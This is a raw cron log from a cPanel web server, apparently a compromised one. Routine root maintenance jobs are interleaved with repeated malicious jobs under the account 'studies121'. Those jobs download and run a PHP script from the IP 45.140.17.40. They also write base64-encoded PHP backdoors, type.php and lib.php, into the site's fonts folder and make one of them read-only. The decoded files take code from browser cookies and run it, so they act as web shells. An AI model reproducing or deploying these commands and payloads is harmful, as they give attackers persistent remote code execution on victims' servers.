Sep  7 16:30:01 ip-184-168-122-23 CROND[30009]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  7 16:30:01 ip-184-168-122-23 CROND[30010]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:30:01 ip-184-168-122-23 CROND[30014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:30:01 ip-184-168-122-23 CROND[30018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:30:01 ip-184-168-122-23 CROND[30016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:30:01 ip-184-168-122-23 CROND[30015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:30:01 ip-184-168-122-23 CROND[30017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:30:01 ip-184-168-122-23 CROND[30019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:30:01 ip-184-168-122-23 CROND[30020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:31:01 ip-184-168-122-23 CROND[30192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:31:01 ip-184-168-122-23 CROND[30194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:31:01 ip-184-168-122-23 CROND[30195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:31:01 ip-184-168-122-23 CROND[30196]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 16:31:01 ip-184-168-122-23 CROND[30197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:32:01 ip-184-168-122-23 CROND[30283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:32:01 ip-184-168-122-23 CROND[30285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:32:01 ip-184-168-122-23 CROND[30288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:32:01 ip-184-168-122-23 CROND[30287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:32:01 ip-184-168-122-23 CROND[30286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:33:01 ip-184-168-122-23 CROND[30376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:33:01 ip-184-168-122-23 CROND[30377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:33:01 ip-184-168-122-23 CROND[30374]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:33:01 ip-184-168-122-23 CROND[30375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:34:01 ip-184-168-122-23 CROND[30463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:34:01 ip-184-168-122-23 CROND[30466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:34:01 ip-184-168-122-23 CROND[30467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:34:01 ip-184-168-122-23 CROND[30468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:34:01 ip-184-168-122-23 CROND[30465]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:35:01 ip-184-168-122-23 CROND[30586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:35:01 ip-184-168-122-23 CROND[30588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:35:01 ip-184-168-122-23 CROND[30591]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 16:35:01 ip-184-168-122-23 CROND[30595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:35:01 ip-184-168-122-23 CROND[30589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:35:01 ip-184-168-122-23 CROND[30590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:35:01 ip-184-168-122-23 CROND[30594]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 16:35:01 ip-184-168-122-23 CROND[30592]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:36:01 ip-184-168-122-23 CROND[30720]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:36:01 ip-184-168-122-23 CROND[30724]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:36:01 ip-184-168-122-23 CROND[30725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:36:01 ip-184-168-122-23 CROND[30726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:36:01 ip-184-168-122-23 CROND[30727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:37:01 ip-184-168-122-23 CROND[30883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:37:01 ip-184-168-122-23 CROND[30884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:37:01 ip-184-168-122-23 CROND[30885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:37:01 ip-184-168-122-23 CROND[30886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:38:01 ip-184-168-122-23 CROND[30976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:38:01 ip-184-168-122-23 CROND[30974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:38:01 ip-184-168-122-23 CROND[30977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:38:01 ip-184-168-122-23 CROND[30975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:38:01 ip-184-168-122-23 CROND[30978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:39:01 ip-184-168-122-23 CROND[31145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:39:01 ip-184-168-122-23 CROND[31149]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 16:39:01 ip-184-168-122-23 CROND[31147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:39:01 ip-184-168-122-23 CROND[31150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:39:01 ip-184-168-122-23 CROND[31148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:40:01 ip-184-168-122-23 CROND[31298]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 16:40:02 ip-184-168-122-23 CROND[31304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 16:40:02 ip-184-168-122-23 CROND[31305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:40:02 ip-184-168-122-23 CROND[31308]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 16:40:02 ip-184-168-122-23 CROND[31307]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:40:02 ip-184-168-122-23 CROND[31302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 16:40:02 ip-184-168-122-23 CROND[31306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:40:02 ip-184-168-122-23 CROND[31303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 16:41:01 ip-184-168-122-23 CROND[31432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 16:41:02 ip-184-168-122-23 CROND[31434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 16:41:02 ip-184-168-122-23 CROND[31435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 16:41:02 ip-184-168-122-23 CROND[31437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
